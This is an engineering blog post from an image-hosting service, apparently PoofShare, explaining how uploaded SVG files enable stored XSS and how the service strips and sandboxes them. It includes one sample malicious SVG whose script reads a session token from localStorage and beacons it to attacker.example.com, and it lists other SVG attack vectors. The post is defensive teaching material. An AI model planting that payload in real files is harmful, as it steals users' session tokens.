- Unlike raster images like PNG or JPEG, Scalable Vector Graphics (SVG) are XML text documents parsed and executed as live DOM nodes.
- Innocent-looking SVG graphics can harbor executable
<script>blocks, inline event listeners (onload,onerror), and<foreignObject>HTML injections that trigger Stored Cross-Site Scripting (XSS). - Loading an SVG inside an standard
<img>tag blocks script execution, but navigating directly to the raw image URL (/image.svg) runs the XML document in full browser context. - Blocking SVGs entirely breaks modern design workflows, but safe hosting requires aggressive Abstract Syntax Tree (AST) sanitization combined with edge Content-Security-Policy sandboxing.
- PoofShare sanitizes vector graphics in-flight and isolates media rendering on a dedicated sandboxed media domain to ensure zero script persistence.
The XML Nature of Scalable Vector Graphics
Most web users consider image files to be passive grids of colored pixels. When you view a JPEG, PNG, or WebP file, your operating system decodes binary byte chunks into an array of red, green, blue, and alpha values. A raster file has no concept of logic, branching, or network requests; it is pure mathematical data.
Scalable Vector Graphics (SVG) share almost none of those characteristics. An SVG file is not a raster bitmap. It is an XML document structured with tags, attributes, and hierarchical nodes exactly like an HTML webpage:
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
<circle cx="50" cy="50" r="40" fill="#7c5cff" />
</svg>When a browser encounters an SVG document, it fires up its XML parser to build a Document Object Model (DOM) tree. Because the W3C SVG specification was engineered to support interactive animations and dynamic interfaces, that DOM tree natively supports styling via CSS and scripting via JavaScript. In the eyes of your browser, an SVG file is an active application program.
Anatomy of an SVG Stored XSS Attack
Because an SVG file is executable code, allowing users to upload vector images without inspection is equivalent to allowing arbitrary HTML uploads.
Consider an ordinary vector icon uploaded to an unhardened hosting service. The file might render a legitimate vector graphic, but nestled within the XML tree sits a live execution payload:
<?xml version="1.0" encoding="utf-8"?>
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" width="300" height="300">
<rect width="300" height="300" fill="#14141a" rx="12" />
<text x="150" y="150" fill="#ffffff" text-anchor="middle">Click to verify</text>
<script type="text/javascript">
const stolenToken = localStorage.getItem("auth_session");
navigator.sendBeacon("https://attacker.example.com/log", stolenToken);
</script>
</svg>If the host serves this file directly with the MIME type image/svg+xml, opening the image link executes that JavaScript code immediately within the origin of the host.
Attackers do not even need an explicit <script> block. SVG specifications support multiple attack surfaces:
- Inline Event Handlers: Attributes like
onload,onerror,onclick, andonmouseovercan be attached to paths and shapes. - The
<foreignObject>Element: Allows arbitrary XHTML documents, including<iframe>,<form>, and<input>tags, to be embedded inside the vector space. - Hyperlink Execution: An
<a>or<use>tag withhref="javascript:..."executes arbitrary code when clicked or hovered. - XML External Entity (XXE) Injections: Unsanitized
<!DOCTYPE>declarations can trick backend XML parsers into reading sensitive local server files.
<img src="vector.svg"> tells the browser to treat the graphic as an isolated image, neutralizing scripts. However, navigating directly to the raw URL renders the file as top-level XML, activating all embedded payloads.Why Outright Blocking SVGs Harms Designers and Developers
Faced with SVG security risks, many platforms take the blunt path: they forbid .svg uploads entirely.
While simple, banning SVGs creates friction:
- Resolution Independence: Vector graphics scale infinitely from a 16-pixel favicon to an 8K display without pixelation.
- Microscopic Footprint: Simple vector logos weigh 2 KB to 5 KB, whereas high-resolution PNG renders require hundreds of kilobytes.
- Lossless Precision: For software architecture diagrams, UI mockups, and technical schematics, vector paths maintain mathematical precision that raster formats cannot replicate.
Rather than abandoning vector graphics, mature platforms implement defense-in-depth pipelines that disarm hostile nodes while preserving visual geometry.
The Multi-Layer Disarming Pipeline
Securing SVG files cannot rely on simple regular expressions. Attackers bypass regex checks using XML character entities, null bytes, nested CDATA tags, and case variations. A reliable sanitization architecture combines structural AST parsing with strict HTTP edge isolation:
- DOCTYPE and Entity Neutralization: Before parsing nodes, the stream processor strips all
<!DOCTYPE>and<!ENTITY>definitions. Disallowing document type definitions completely eradicates XXE exploits and recursive billion-laughs expansion attacks. - AST Element Allowlisting: The raw XML string is parsed into an in-memory DOM tree. A strict allowlist preserves safe graphic primitives (
<svg>,<g>,<path>,<rect>,<circle>,<text>,<defs>, gradients) while purging<script>,<foreignObject>,<iframe />,<embed>,<object>, and<use>nodes. - Attribute and Protocol Filtering: The sanitizer purges all attributes starting with
on(onload,onerror). Attributes containing URLs (hrefandxlink:href) permit only safe relative anchor targets (#fragment); alljavascript:,vbscript:, and externaldata:URIs are destroyed. - Edge Content-Security-Policy Sandboxing: When serving user-uploaded SVG media, the edge server applies restrictive HTTP response headers:
Content-Security-Policy: default-src 'none'; sandbox; frame-ancestors 'none';. The sandbox directive forces the browser to treat the document as an opaque null origin with zero access to cookies or storage.
How PoofShare Parses and Disarms SVG Files
When building PoofShare, our security model required that users share vector icons and diagrams safely without introducing stored script hazards.
We enforce a strict three-tier defense model:
- Pre-Flight Binary Dimension Validation: Before parsing heavy files, our edge checks dimension bounds, protecting against decompression bombs and pixel floods that attempt to exhaust memory.
- In-Flight AST Tree Sanitization: Incoming SVG streams pass through our XML tree parser, stripping forbidden nodes, scripts, and active attributes before writing sanitized data to storage.
- Dual-Domain Perimeter Mesh: As detailed in our analysis of zero-log ephemeral architectures, user media is never served from our primary web domain. All media routes (
/v/<em>,/i/</em>,/g/*) are routed to a decoupled, sandboxed media domain.
By combining DOM sanitization with origin isolation, designers and engineers can share vector assets with total confidence. Review our zero-knowledge data retention guarantees in our Privacy Policy and learn more about our platform mission on our About Page.
Related Engineering Guides
- Decompression Bombs and Pixel Flood Defenses: Pre-flight binary inspection blocking memory exhaustion attacks.
- Perceptual Difference Hashing (dHash): 64-bit gradient fingerprints stopping repeat abuse without saving photos.
- Client-Side PNG-8 Quantization: In-browser palette clustering shrinking screenshots by 70% with zero blur.
- In-Browser Multi-Image ZIP Packaging: STORE-mode archives bundling multi-image drops in under 15 milliseconds.
Can an SVG file contain a computer virus?
An SVG file cannot execute compiled machine binary viruses directly. However, it can harbor JavaScript code that executes in your web browser. If opened on an insecure website, that script can steal authentication cookies, access local storage tokens, or redirect you to phishing pages.
Why is serving SVGs from a separate media domain so important?
Same-Origin Policy in web browsers isolates data between domains. If an SVG executes malicious script on a sandboxed media domain, it has zero access to session cookies, credentials, or dashboard controls stored on the primary domain. Domain isolation renders Cross-Site Scripting harmless.
Does converting an SVG to a PNG make it safe?
Yes. Rasterizing an SVG into a PNG converts vector instructions into static pixel values. Any <script> tags or event listeners are discarded during rasterization. However, rasterization sacrifices infinite scaling and increases file size.
How does PoofShare protect viewers from malicious vector uploads?
PoofShare sanitizes every SVG document using an Abstract Syntax Tree parser that purges all script tags, event handlers, and active XML nodes. We also enforce strict Content-Security-Policy sandbox headers and serve all media from an isolated domain.